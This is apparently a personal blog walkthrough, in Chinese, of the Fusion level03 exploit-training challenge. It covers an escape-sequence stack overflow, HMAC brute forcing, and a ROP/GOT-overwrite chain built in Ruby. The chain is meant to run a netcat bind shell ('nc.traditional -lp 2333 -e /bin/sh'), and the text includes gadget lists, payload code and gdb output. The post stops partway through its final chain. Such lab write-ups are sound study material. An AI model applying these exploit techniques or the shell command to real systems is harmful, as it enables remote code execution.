Featured image of post Fusion Level 03 Walkthrough

Fusion Level 03 Walkthrough

#{username}!这是我最后的 ROP 了!收下吧!

☞ 这是我最后的波纹

总之要返校了,之后大概没太多时间玩这些了…

一开始我看着这题,感觉也就是源码有点长吧

结果却花了接近三周…(虽然也可能是我很摸..但是..但真的很难啊x

Level 03

☞ https://exploit.education/fusion/level03/

About

This level introduces partial hash collisions (hashcash) and more stack corruption

Option Setting
Vulnerability Type Stack
Position Independent Executable No
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification No

Source code

☞ 太长所以还是放源网页吧


Overview

总之这个程序想做的事情大致是:

  1. 用户用 socket 连上去,发一个 json;
  2. 这个 json 包含 标题,标签,正文,服务器地址 等内容,相当于一篇博客文章了;
  3. 然后这个程序把 json 解析后发布到那个服务器地址;

这题除了主函数以外还有 8 个函数,执行顺序是:

0. main()

类似于一个 daemon,每次有一个请求的时候都会 fork 一个子进程来处理这个请求

以及把 STDIN 和 STDOUT 都指向了 socket(具体实现是在题目作者没有给出的头文件里面

1. send_token()

调用 generate_token() 生成一段类似 “// 192.168.215.1:56730-1653879913-1329588598-830759485-962559078” 的 token

可以看到这个 token 里面含有请求的 ip:port,剩下的部分都是随机数

然后通过 socket 发出去

2. read_request()

反复读取,读到的内容 unsigned char *gRequestint gRequestSize 都是全局变量

read(0, gRequest + gRequestSize, gRequestMax - gRequestSize);
......
if(gRequestSize == gRequestMax) {
          gRequest = realloc(gRequest, gRequestMax * 2);
          ......
close(0); close(1); close(2);

这里的读取是可以根据大小来 realloc 的,没法 bof

想结束读取的话直接把 socket 的写关掉就好(ruby 的话是 BasicSocket#close_write

另外这里最后会把 STDIN,STDOUT 关掉..

3. validate_request() & 4. parse_request()

validate_request(),首先会检查读到内容 gRequest 的开头有没有那个 token,没有会退出

其次检查用 token 和 gRequest 算出来的 HAMC 前两个字节是否为 \x00,否的话退出

parse_request() 会检查 gRequest 除去 token 的部分是否是一段有效的 json

所以我们的 payload 需要:

首先在最开头包含 token,接下来包含一段 json,最后是一段随机字符串

随机字符串的意义是让每次 HMAC 的值都不相同

我们需要重复这个操作直到 HMAC 的前两个字节是 \x00

puts "==> calculating hmac..."
while true do
  # random string to make the result of hmac different every time
  ranstr = SecureRandom.hex

  # add this "\n" to seperate token and payload
  # or the json_tokener_parse(gRequest) in parse_request() will not wor
  payload = token + "\n" + json + ranstr

  hmac = OpenSSL::HMAC.hexdigest 'SHA1', token, payload
  
  if hmac[0..3] == "0000" then
    puts "done"
    puts "==> use random string:\n" + ranstr
    puts "==> created payload:\n" + payload.inspect
    puts "==> hmac result:\n" + hmac
    break
  end
end

这样之后的 payload 就可以发出去并通过这两个检查了

5. handle_request()

decode_string() 解析 json 中的 tags,title,contents,serverip 标签

6. post_blog_article()

根据前面解析到的 serverip 标签,重新开一个 STDOUT 把内容写出去


Vulnerability

出现在:

5. handle_request()

这个函数的作用是,使用 decode_string() 解析 json 中的 tags,title,contents,serverip 标签

但是 decode_string() 有一个小问题:

它的作用是,一个字符一个字符的解析

当遇到了转义符号反斜杠 \

比如读到了 \n(准确的说,遇到了一个反斜杠,后面连着一个字符 n 时),会把它替换成真正的 ASCII 字符 0x10, LF, LINE FEED,也就是换行符,这是把两个字符换成了一个字符

当遇到 \u 也就是 unicode 转义时也会做同样的事情,但是…

void decode_string(const char *src, unsigned char *dest, int *dest_len)
{
  ......
  end = dest + *dest_len;
  while(*src && dest != end) {
      ......
        if(*src == '\\') {
          *src++;
          ......
          switch(*src) {
            ......
                case 'u':
                    src++;

                    memcpy(swap, src, 4);
                    p = NULL;
                    what = strtol(swap, &p, 16);

                    *dest++ = (what >> 8) & 0xff;
                    *dest++ = (what & 0xff);

                    src += 4;
                    break;
      ......

  }
  // Outside the while loop
  
  // and record the actual space taken up
  *dest_len = (unsigned int)(dest) - (unsigned int)(start);
  ...... 

*dest 增加了两次…

例如,当出现 \u1234,这个反斜杠已经是第 *dest_len - 1 个字符时,

*dest_len 个字符会被换成 0x12

*dest_len + 1 个字符会被换成 0x34

而这里循环终止的条件其中之一是,dest != end,而 dest 已经在 end 更后方了

这样的话就可以写入更多个字符,*dest_len 也会变更大

那么在 handle_request() 中,

unsigned char title[128];
unsigned char contents[1024];
......
      } else if(strcmp(key, "title") == 0) {
          len = sizeof(title);
          decode_string(json_object_get_string(val), title, &len);

          gTitle = calloc(len+1, 1);
          gTitle_len = len;
          memcpy(gTitle, title, len);

      } else if(strcmp(key, "contents") == 0) {
          len = sizeof(contents);
          decode_string(json_object_get_string(val), contents, &len);

          gContents = calloc(len+1, 1);
          gContents_len = len;
          memcpy(gContents, contents, len);
......

就可以让 title 或者 contents 溢出了

Main Purpose

既然已经明确了我们可以做什么,接下来理一下思路:

我们遇到的限制是:

  • 开了 ASLR
    → libc 的地址会变,堆栈每次的地址也会变

  • 开了 NX
    → 就算能往堆栈上扔 shellcode 也没法执行

我们能做到的事情有:

  • bof 修改返回地址

  • 没开 PIE 所以还是可以 ROP
    → 只要知道一个 libc 函数的地址,就可以算出别的函数的偏移量

以及,我们最终想要达到的效果是:

  • 用 system 函数绑定 tcp shell
    system("/bin/nc.traditional -lvnp 2333 -e /bin/bash");
    → 注意得用 nc.traditional 否则是 netcat-openbsd,没有 -e 选项

Interact with Program

试着先发点正常的东西

#!/usr/bin/ruby
# encoding: ASCII-8BIT

require 'socket'
require 'openssl'
require 'securerandom'
require 'json'

print '==> Enter hostname:'
hostname = '192.168.215.135'
port = 20003
$socket = TCPSocket.open(hostname, port)

def press_to_c
  print '==> press enter to continue'
  gets
end

# Trim the double quotes from the beginning and end of the string
token = $socket.gets
token = token[1..token.length - 3]
puts "==> received token:\n#{token}"

hash = {
  :tags => ['meme'],
  :title => 'The quick brown fox jumps over the lazy dog',
  :contents => 'My name is Giovanni Giorgio',
  :serverip => '192.168.1.5:8080'
}

puts "==> calculating hmac..."
while true do
  # random string to make the result of hmac different every time
  ranstr = SecureRandom.hex
  #json = hash.to_json

  # add this "\n" to seperate token and payload
  # or the json_tokener_parse(gRequest) in parse_request() will not work
  payload = token + "\n" + hash.to_json + ranstr
  hmac = OpenSSL::HMAC.hexdigest 'SHA1', token, payload 

  if hmac[0..3] == "0000" then
    puts "done"
    puts "==> use random string:\n" + ranstr
    puts "==> created payload:\n" + payload.inspect
    puts "==> hmac result:\n" + hmac
    # "00008ad10c00e3..." => "\x00\x00\x8A\xD1\f\x00\xE3..." 
    hmac = [hmac].pack 'H*'   
    break end
end

$socket.write payload
press_to_c

$socket.close_write

然后监听一下 8080 端口:

❯ nc -l 8080
POST /blog/post HTTP/1.1
Connection: close
Host: 192.168.1.5:8080
Content-Length: 74

The quick brown fox jumps over the lazy dog
My name is Giovanni Giorgio%

成功了w

接下来试着发一点不正常的东西…

# level03.rb
......
title  = "w" * 127
title += '\\uAAAA'
title += "w" * 31
title += "ABCD"

hash = {
  :tags => ['meme'],
  :title => title,
  :contents => 'My name is Giovanni Giorgio',
  :serverip => '192.168.1.5:8080'
}
......
# in my host machine
❯ ./tmp_lev03.rb
==> Enter hostname:==> received token:
// 192.168.215.1:51038-1653896837-972326971-815702275-568244387
==> calculating hmac...
done
==> use random string:
ebffe12131a81c7c82146945f23aaae9
==> created payload:
"// 192.168.215.1:51038-1653896837-972326971-815702275-568244387\n{\"tags\":[\"meme\"],\"title\":\"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\\\\uAAAAwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwABCD\",\"contents\":\"My name is Giovanni Giorgio\",\"serverip\":\"192.168.1.5:8080\"}ebffe12131a81c7c82146945f23aaae9"
==> hmac result:
0000fbcac1e08dc00466ac809bed8a075ef41dfc
==> press enter to continue
# inside fusion
root@fusion:~# pidof level03
3259 3024

root@fusion:~# gdb -p 3259
......
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb)

Segmentation fault!! 成功w

(当然不是一次成功的呢 的呢

(如果能用 一种特别神奇的不会重复的序列 的话就能很快定位 title 到 return pointer 的偏移量了

(python 的 pwntools 里就有这个方法 pwnlib.util.cyclic

(但是我想用 ruby x


Find Out ROP Chain

按照前面说过的,我们的目的是执行 ret2libc 执行 system 函数

但是由于程序里并没有用过 system,所以动态链接表里是没这个的地址的

fusion@fusion:~$ objdump -t /opt/fusion/bin/level03 | grep system
# 什么都没有

虽然有 ASLR,但是 libc 内部各种函数之间的偏移量是固定的

所以我们只能找另外一个可怜的 libc 函数(必须得是动态链接表里有记录的)…然后算出偏移来,然后覆盖

总之先考虑 ropchain 再考虑用哪个函数吧x

首先需要对 「某个地址上的值进行加/减操作」 的 ropchain

❯ ROPgadget --binary level03 --ropchain | grep "add dword ptr"
0x080493fc : add al, 8 ; add dword ptr [ebx + 0x5d5b04c4], eax ; ret
0x08049c93 : add dword ptr [ebx + 0x548b02c3], eax ; and al, 0x1c ; jmp 0x8049bfe
0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
0x0804ab3e : add dword ptr [edx], ecx ; ret
0x0804ab37 : add eax, 0x3870486 ; add ebx, ebp ; add dword ptr [edx], ecx ; ret
0x0804ab3c : add ebx, ebp ; add dword ptr [edx], ecx ; ret
0x08048dc7 : fadd dword ptr [eax] ; add byte ptr [eax], al ; jmp 0x8048c00
0x08049c92 : inc ebx ; add dword ptr [ebx + 0x548b02c3], eax ; and al, 0x1c ; jmp 0x8049bfe
0x0804ab3a : xchg dword ptr [ebx], eax ; add ebx, ebp ; add dword ptr [edx], ecx ; ret

# 这个好像挺不错:
0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret

那么,就需要:

  • 让 ebx + 0x5d5b04c4 是 某个可怜函数 funcA 的地址
  • 让 eax 是 某个可怜函数 funcA 到 libc_system 之间的偏移量

所以需要 pop ebx 和 pop eax 操作:

 ROPgadget --binary level03 --ropchain | grep "pop ebx ; ret"
0x08048beb : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08049a4c : add esp, 0x18 ; pop ebx ; ret
0x08048bed : add esp, 8 ; pop ebx ; ret
0x08049a4d : les ebx, ptr [eax] ; pop ebx ; ret
0x08048bee : les ecx, ptr [eax] ; pop ebx ; ret
0x08048be9 : mov dword ptr [0x83000016], eax ; les ecx, ptr [eax] ; pop ebx ; ret
0x08048bf0 : pop ebx ; ret
0x08048bea : push ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

# 直接就有,好诶
0x08048bf0 : pop ebx ; ret
 ROPgadget --binary level03 --ropchain | grep "pop eax ; ret"
# 什么都没有...只能绕路了

 ROPgadget --binary level03 --ropchain | grep "pop eax"
0x0804a942 : add byte ptr [eax], al ; pop eax ; add byte ptr [eax], al ; add byte ptr [eax], bl ; jmp 0x804a94a
0x0804a944 : pop eax ; add byte ptr [eax], al ; add byte ptr [eax], bl ; jmp 0x804a94a
0x08049b4f : pop eax ; add esp, 0x5c ; ret
0x0804a940 : xor al, 0 ; add byte ptr [eax], al ; pop eax ; add byte ptr [eax], al ; add byte ptr [eax], bl ; jmp 0x804a94a

# 只有这个比较顺眼...
0x08049b4f : pop eax ; add esp, 0x5c ; ret

最后我们得到了这一串东西:

1. 0x08048bf0 : pop ebx ; ret 
   # 作用是把 2. 的值写进 ebx

2. # 在这里放上「funcA 的 got 地址 - 0x5d5b04c4」
   #(减去这个数字是因为 6. 的 ebx 大了 0x5d5b04c4

3. 0x08049b4f : pop eax ; add esp, 0x5c ; ret 
   # 作用是把 4. 的值写进 eax

4. # 「libc 里面,funcA 的地址 到 libc_system 的地址」之间的偏移量

5. # 这里得写上 0x5c 个字符,因为 3. 出现了 add esp, 0x5c

6. 0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
   # 成功改写了 funcA 的 got 记录:
   # 即加上偏移量,变成了 system 的地址

7. # 在这里写 funcA 的 plt 地址,
   # 就会跳到改写了之后的 funcA 的 got 记录,就会跳到 system

8. # 这里应该是 system 结束之后的返回地址,可以不用管

9. # 这里放上 system 的参数,
   # 当然就是 "nc.traditional....." 的字符串的位置

关于唐突出现的 plt 和 got,会在下面解释清楚


Create ROP Chain

胜利的公式已经写好了(不是

接下来找个可怜的 libc 函数吧

fusion@fusion:~$ objdump -R /opt/fusion/bin/level03

/opt/fusion/bin/level03:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804bcc0 R_386_GLOB_DAT    __gmon_start__
0804bdc0 R_386_COPY        stderr
0804bdc4 R_386_COPY        stdi
0804bde0 R_386_COPY        stdout
0804bcd0 R_386_JUMP_SLOT   __errno_location
0804bcd4 R_386_JUMP_SLOT   srand
.....

就决定是你了 srand!

(gdb) p system
$5 = {<text variable, no debug info>} 0xb7404b20 <__libc_system>
(gdb) p srand
$6 = {<text variable, no debug info>} 0xb73fafc0 <__srandom>

0xb7404b20 <__libc_system> - 0xb73fafc0 <__srandom> = 0x9B60

啊 不行,这个偏移的值太小了,那字符串到了 0x00009B60 时会因为 null byte 被提前截断的

(其实后来我发现这题可以用 \u0000 来绕过 nullbyte 的限制x

那就随便换一个(

(gdb) p system
$5 = {<text variable, no debug info>} 0xb7404b20 <__libc_system>
(gdb) p srand
$6 = {<text variable, no debug info>} 0xb73fafc0 <__srandom>
(gdb) p write
$8 = {<text variable, no debug info>} 0xb74892c0 <write>

这下 write 比 system 反而还大了!

所以就可以偏移量就可以写一个负数,这个负数肯定是没有 null byte 的

0xb74892c0 <write> - 0xb7404b20 <__libc_system> = 0x847A0

0x0 - 0x847A0 = 0xFFF7B860


plt? got? got.plt??

有个小问题:

上面几个都是已经链接了之后,再用 gdb 看的地址…相当于是 libc 里面具体的实现部分

因为会受 ASLR 影响,所以对我们的 ROP 来说没什么用…也就是用来算一下偏移量

(gdb) p write
$8 = {<text variable, no debug info>} 0xb74892c0 <write>

(gdb) x/10i write
   0xb74892c0 <write>:	cmpl   $0x0,%gs:0xc
   0xb74892c8 <write+8>:	jne    0xb74892ec <write+44>
   0xb74892ca <__write_nocancel>:	push   %ebx
   0xb74892cb <__write_nocancel+1>:	mov    0x10(%esp),%edx
   ......
   # 这里都是 libc 的 write 的具体实现

而我们所需要的效果是:call write,却运行了 system

平常 gdb disas 的时候,我们可以看到这样的句子:

0x0804902f <+31>: call 0x8048cd0 <signal@plt>

简单理一下 plt 和 got 的关联的话:

  • .text 段不可修改,所以在运行时没法直接修改 call 的地址
  • 所以 elf 就把可以修改的 .got 段用来记录外部函数地址
  • 但实际上我们都是在 call plt 段;plt 段可以理解为一小块代码,是用来达到「找外部函数地址」的目的

也就是:

  1. call <write@plt>,于是跳到了 plt
  2. plt 会看看 got 有没有写上真正的 libc 里的 write 的地址(libc 地址会受 ASLR 影响
    → 有:直接跳到 got 里的记录
    → 没有:就跳 ld.so 来找,然后写进 got
    之后再遇到 call <write@plt> 的话,plt 就可以直接跳 got 记录了
# 这是 got 记录
fusion@fusion:~$ objdump -R /opt/fusion/bin/level03
DYNAMIC RELOCATION RECORDS
0804bd1c R_386_JUMP_SLOT   write

# got.plt 其实就是 got 的一部分,这里指向的地址 0xb74892c0 就是 libc 里具体实现的地址了
#(这里看起来 plt 已经找过一次了,所以才有记录
(gdb) x/x 0x0804bd1c
0x804bd1c <write@got.plt>:	0xb74892c0

所以我们需要做的,是,把 got 里记录的 libc 里 write 的具体实现的地址 改成 libc 里 system 的具体实现的地址

总之,write 的 got 记录:0x804bd1c

write 的 plt 地址:0x8048d40

fusion@fusion:~$ objdump -d /opt/fusion/bin/level03 | grep "write@plt"
08048d40 <write@plt>:
 80495f5:	e8 46 f7 ff ff       	call   8048d40 <write@plt>
 804a162:	e8 d9 eb ff ff       	call   8048d40 <write@plt>

以及,“nc.traditional…” 写在 gContents 里,其地址为:0x0804bdf4

fusion@fusion:~$ objdump -t /opt/fusion/bin/level03 | grep gContents
0804bdec g     O .bss	00000004              gContents_len
0804bdf4 g     O .bss	00000004              gContents

最终套回我们的公式:

1. 0x08048bf0 : pop ebx ; ret 
   # 作用是把 2. 的值写进 ebx

2. 0xAAA9B858
   # 这里是「write 的 got 地址 0x0804bd1c - 0x5d5b04c4」
   #(减去这个数字是因为 6. 的 ebx 大了 0x5d5b04c4

3. 0x08049b4f : pop eax ; add esp, 0x5c ; ret 
   # 作用是把 4. 的值写进 eax

4. 0xFFF7B860
   #「libc 里面,write 的地址 到 libc_system 的地址」之间的偏移量

5. "w" * 0x5c # 写上 0x5c 个字符,因为 3. 出现了 add esp, 0x5c

6. 0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
   # 成功改写了 write 的 got 记录:
   # 即加上偏移量,变成了 system 的地址

7. 0x08048d40 # 在这里写 write 的 plt 地址,
   # 就会跳到改写了之后的 write 的 got 记录,就会跳到 system

8. 0x12345678 # 这里应该是 system 结束之后的返回地址,可以不用管

9. 0x0804bdf4 # 这里放上 system 的参数,
   # 当然就是 "nc.traditional....." 的字符串的位置

END?

有个小问题,那就是 ruby 的 to_json 方法不接受非法 utf-8 字符

也就是说…比如 “\x90”,这玩意超出了 ASCII 的范围,就会被当成 utf-8

但是几乎百分百的是,这一个 “\x90” 连上后面的东西都,没法被解析成任何 utf-8 字符

就会报错:

3.0.0 :001 > require 'json'
 => true
3.0.0 :002 > "\x90".to_json
Traceback (most recent call last):
        5: from /Users/senri/.rvm/rubies/ruby-3.0.0/bin/irb:23:in `<main>'
        4: from /Users/senri/.rvm/rubies/ruby-3.0.0/bin/irb:23:in `load'
        3: from /Users/senri/.rvm/rubies/ruby-3.0.0/lib/ruby/gems/3.0.0/gems/irb-1.3.0/exe/irb:11:in `<top (required)>'
        2: from (irb):2:in `<main>'
        1: from (irb):2:in `to_json'
JSON::GeneratorError (source sequence is illegal/malformed utf-8)

所以又要绕弯子了…

先生成大部分正常的字符的 json,剩下不正常的我们自己换:

......
title  = "w" * 127
title += '\\\\\uAAAA'
title += "w" * 31
title += "ABCD"

hash = {
  :tags => ['meme'],
  # Ruby to_json issue with error "illegal/malformed utf-8"
  :title => '_replace_',#.to_s.force_encoding('ISO-8859-1'),
  :contents => 'My name is Giovanni Giorgio',
  :serverip => '192.168.215.135:8080'
}

puts "==> original json:"
json = hash.to_json
puts json.b

puts "==> replaced json:"
json = json.dup.sub! "_replace_", title 
puts json.b
......

title += '\\\\\uAAAA' 的最终结果是 \\\uAAAA(三个反斜杠,一个 u,四个 A),这纯粹是为了 json_tokener_parse(gRequest) 能解析出正常的东西来

json = json.dup.sub! "_replace_", title 这一串魔法一样的东西,是因为 json 变量被 forze 了,所以只好 duplicate 一下再 replace

试一下:

❯ ./level03.rb
==> Enter hostname:==> received token:
// 192.168.215.1:60781-1654172438-234599792-1951713575-1038520033
==> original json:
{"tags":["meme"],"title":"_replace_","contents":"My name is Giovanni Giorgio","serverip":"192.168.215.135:8080"}
==> replaced json:
{"tags":["meme"],"title":"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\\uAAAAwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwABCD","contents":"My name is Giovanni Giorgio","serverip":"192.168.215.135:8080"}
==> calculating hmac...
done
........
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

没问题…能用

绕了这么多路终于快解决了吧..

然后替换成我们的 ROP Chain:

def p32 addr
  return [addr].pack 'I'
end

title  = "w" * 127
title += '\\\\\uAAAA'
title += "w" * 23
title += "ABCD"
title += "ABCD"
title += p32 0x08048bf0
title += p32 0xAAA9B858
title += p32 0x08049b4f
title += p32 0xFFF7B860
title += "w" * 0x5c
title += p32 0x080493fe
title += p32 0x08048d40
title += p32 0x12345678
title += p32 0x0804bdf4

以及在 contents 里写上 system 的参数

hash = {
  :tags => ['meme'],
  # Ruby to_json issue with error "illegal/malformed utf-8"
  :title => '_replace_',
  :contents => '/bin/nc.traditional -lp 2333 -e /bin/sh',
  :serverip => '192.168.215.135:8080'
}

puts "==> original json:"
json = hash.to_json
puts json

puts "==> replaced json:"
json = json.dup.sub! "_replace_", title
puts json

试一下!!!

# 断点打在 <write@plt>:
(gdb) break *0x08048d40
Breakpoint 1 at 0x8048d40
(gdb) c
Continuing.

Breakpoint 1, 0x08048d40 in write@plt ()
(gdb) info reg
eax            0xfff7b860	-542624
ecx            0xb7541398	-1219226728
edx            0xffffffff	-1
ebx            0xaaa9b858	-1431717800
esp            0xbfb7d6a0	0xbfb7d6a0
ebp            0x77777777	0x77777777
esi            0x77777777	2004318071
edi            0x77777777	2004318071
eip            0x8048d40	0x8048d40 <write@plt>
eflags         0x283	[ CF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) si
__libc_system (line=0x804bdf4 "X\220t\t\b\200t\t\220\230t\t\034\001") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c

__libc_system!!成功了!!但是没有完全成功…?

虽然确实跳到了 system,但是参数怪怪的…

(gdb) x/s 0x804bdf4
0x804bdf4 <gContents>:	 "X\220t\t\b\200t\t\220\230t\t\034\001"

(gdb) x/s *0x804bdf4
0x9749058:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

# 重启了几次程序

(gdb) x/s *0x804bdf4
0x9776838:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

(gdb) x/s *0x804bdf4
0x97f2058:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

(gdb) x/s *0x804bdf4
0x99e6058:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

麻袋..所以..

gContents 实际保存的值在..

(gdb) x/s *0x804bdf4
0x97f2058:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

(gdb) info proc map
process 1682
cmdline = '/opt/fusion/bin/level03'
cwd = '/'
exe = '/opt/fusion/bin/level03'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level03
	 0x804b000  0x804c000     0x1000     0x2000       /opt/fusion/bin/level03
	 0x97f1000  0x9812000    0x21000          0           [heap]
......

在会受 ASLR 影响的堆上….

 /
/|ーーーーーーーーーーーーーーーーーーー|
|    To be continued  |   
\|ーーーーーーーーーーーーーーーーーーー|
 \























The TRUE Solution

严格来说,gContents 这个变量,在 .bss 段内;

(.bss 和 .data 还是有点区别的)

BSS refers to uninitialized global and static objects and Data refers to initialized global and static objects.

其地址为 0x804bdf4,没开 PIE 所以这个倒是不会变的

但是,这个地址里面保存的值,指向了受 ASLR 影响的堆

(gdb) x 0x804bdf4     # 即 *.bss 上指向堆的地址*
0x804bdf4 <gContents>:	0x09b3e710

(gdb) x/s 0x09b3e710  # 即 *堆上 gContents 的地址*
0x9b3e710:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"

我们想要 system 的话,参数写的必须得是 堆上 gContents 的地址 而不是 .bss 上指向堆的地址


我试着谷歌了别人的解法,虽然前面思路都差不多,但是到最后一步的时候他们直接用 "/////////////bin/nc.traditional" 也就是加一堆(几百个)正斜杠,来绕开 ASLR….我觉得不行(因为实际地址有时候 0x99????? 有时候 0x89?????,差了快有 0x10000 了….

我也自己试了很多 ROP chain,都没法用诸如 dword ptr 的指令来把 .bss 上指向堆的地址 里保存的 堆上 gContents 的地址 拿出来

我也试着就把 nc 的命令写在栈上,然后试着用 ROP chain 来把 esp 的值取出来去做为 system 的参数,但是也没有合适的 ROP chain

就这样浪费了快一个上午,简直要疯了

甚至差点就用 memcpy 把 system 的参数,既然是一个字符串,那就从地址固定的 .text 段里,一字节一字节的找出来,取出来,放到 .bss 上…

然后差点真的这么实施的时候想起来一个问题:

原程序是怎么从 .bss 上指向堆的地址 来读到 堆上 gContents 的地址 呢…

比如,void validate_request() 里的这个 strncmp

if(strncmp(gRequest, token, strlen(token)) != 0)
      errx(EXIT_FAILURE, "Token not found!"); 

gdb:

(gdb) disas validate_request
Dump of assembler code for function validate_request:
   0x08049ab0 <+0>:	sub    $0x5c,%esp
   0x08049ab3 <+3>:	mov    %ebx,0x4c(%esp)
   0x08049ab7 <+7>:	mov    0x804bdf8,%ebx
   0x08049abd <+13>:	mov    %esi,0x50(%esp)
   0x08049ac1 <+17>:	mov    %edi,0x54(%esp)
   0x08049ac5 <+21>:	mov    %ebp,0x58(%esp)
   0x08049ac9 <+25>:	mov    %ebx,(%esp)
   0x08049acc <+28>:	call   0x8048e70 <strlen@plt>
   0x08049ad1 <+33>:	mov    0x804be08,%esi
   0x08049ad7 <+39>:	mov    %ebx,0x4(%esp)
   0x08049adb <+43>:	mov    %esi,(%esp)
   0x08049ade <+46>:	mov    %eax,0x8(%esp)
   0x08049ae2 <+50>:	call   0x8048f50 <strncmp@plt>
   ......

(gdb) break *0x08049ae2
Breakpoint 1 at 0x8049ae2: file level03/level03.c, line 75.

(gdb) c
Continuing.

Breakpoint 1, 0x08049ae2 in validate_request () at level03/level03.c:75
75	level03/level03.c: No such file or directory.
	in level03/level03.c

断点打在了 strncmp 之前,看一下此刻的栈…

(gdb) x/4wx $esp
0xbf8894a0:  [0x09b3d050] [0x09b3d008]  0x00000040   0x0804bd38

# if(strncmp(gRequest, token, strlen(token)) != 0)

(gdb) x gRequest
0x9b3d050:	 "// 192.168.215.1:65435-1654326447-1806178287-708944567-892684320\n{\"tags\":[\"meme\"],\"title\":\"", 'w' <repeats 109 times>...

(gdb) x token
0x9b3d008:	 "// 192.168.215.1:65435-1654326447-1806178287-708944567-892684320"

0x00000040: strlen(token)

所以这两个值不就是 堆上 gRequest 的地址堆上 token 的地址 么…被 strncmp 之前的指令放在了栈上…

这时候我突然意识到,我前面一直在和 ROP chain 对线,却忘了一个最简单的事情:

有些时候找不到 ROP Chain 不代表源程序没做过这个事情,而是源程序做了这个事情但是没有立刻 ret

换句话说,我们不用再死磕想去把 堆上 gContents 的地址 写到栈上作为 system 的参数,

而是可以利用 .text 中原有的指令,来让栈变成有 堆上 gContents 的地址 的形状,虽然此时没法立刻 ret…但是,如果接下来的指令中又出现了一个我们所想要的 call..那就完全不需要 ret 了啊

这里的 strncmp 就是很好的例子,在执行它之前,栈确确实实被其之前的指令变成了有 堆上 gRequest 的地址 的形状,如果这一刻的 strncmp 和 gRequest 都可以在之前就被偷偷换成别的东西…?


我们已知:

  • .bss,.text,.plt 段地址不变
  • strncmp 之前会把 堆上 gRequest 的地址 取出来放到栈上
  • 堆上 gRequest 的地址 保存在 .bss 上指向堆的地址
  • .bss 字段可写

那么我们现在就可以:

  1. 把 .bss 的 gRequest 偷偷用 memcpy 替换成 gContent
  2. 把 strncmp 偷偷换成 libc system
  3. strncmp(gRequest, token, strlen(token) 时,就变成了 system(gContents)(虽然多的两个参数 system 根本就不会管它

来吧,全新的 ROP Chain:

1. .bss: gRequest -> gContent

这里使用 memcpy 好了,那么就需要把栈变成这样:

# gRequest -> gContents
# memcpy(void *restrict dst, const void *restrict src, size_t n)

1. 0x08048e60 
  # memcpy 的 plt 地址

2. 0x0804964d 
  # memcpy 的返回地址:pop ebx ; pop esi ; pop edi ; ret
  # 这条语句可以连 pop 三个值,就可以把下面三个 memcpy 的参数弹栈

2. 0x0804be08 
  # 目的地址:.bss 段的 0x804be08 <gRequest> 

3. 0x0804bdf4 
  # 原地址:.bss 段的 0x804bdf4 <gContents>

4. '\\\\\u0400' + '\\\\\u0000' 
  # memcpy 的参数:拷贝的数据大小
  # 这里就相当于 0x00000004 字节

试一下:

title  = "w" * 127
title += '\\\\\uAAAA'
title += "w" * 27
title += "ABCD"       #ebp

# gRequest -> gContents
# memcpy(void *restrict dst, const void *restrict src, size_t n) : 0x08048e60
title += p32 0x08048e60 # memcpy
title += p32 0x0804964d # return addr : pop ebx ; pop esi ; pop edi ; ret
title += p32 0x0804be08 # *dest     0x804be08 <gRequest>
title += p32 0x0804bdf4 # *src      0x804bdf4 <gContents>
title += '\\\\\u0400' + '\\\\\u0000' # size = 0x00000004
title += p32 0x23332333 # sigsegv for test
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x23332333 in ?? ()

(gdb) x gContents
0x98c8710:	0x63756f74

(gdb) x gRequest
0x98c8710:	0x63756f74

(gdb) x/s 0x98c8710
0x98c8710:  "/bin/nc.traditional -lp 2333 -e /bin/sh"

成功w

2. .plt.got: strncmp -> system

(gdb) info proc map
process 1684
cmdline = '/opt/fusion/bin/level03'
cwd = '/'
exe = '/opt/fusion/bin/level03'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level03
	 0x804b000  0x804c000     0x1000     0x2000       /opt/fusion/bin/level03
	 0x98c7000  0x98e8000    0x21000          0           [heap]
  ......
	0xb752a000 0xb76a0000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so
	0xb76a0000 0xb76a2000     0x2000   0x176000       /lib/i386-linux-gnu/libc-2.13.so
	0xb76a2000 0xb76a3000     0x1000   0x178000       /lib/i386-linux-gnu/libc-2.13.so
  ......

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7566b20 <__libc_system>

(gdb) p strncmp
$2 = {<text gnu-indirect-function variable, no debug info>} 0xb75a0530 <strncmp>

那么偏移量是:0xb7566b20 <__libc_system> - 0xb75a0530 <strncmp> = 0xFFFC65F0

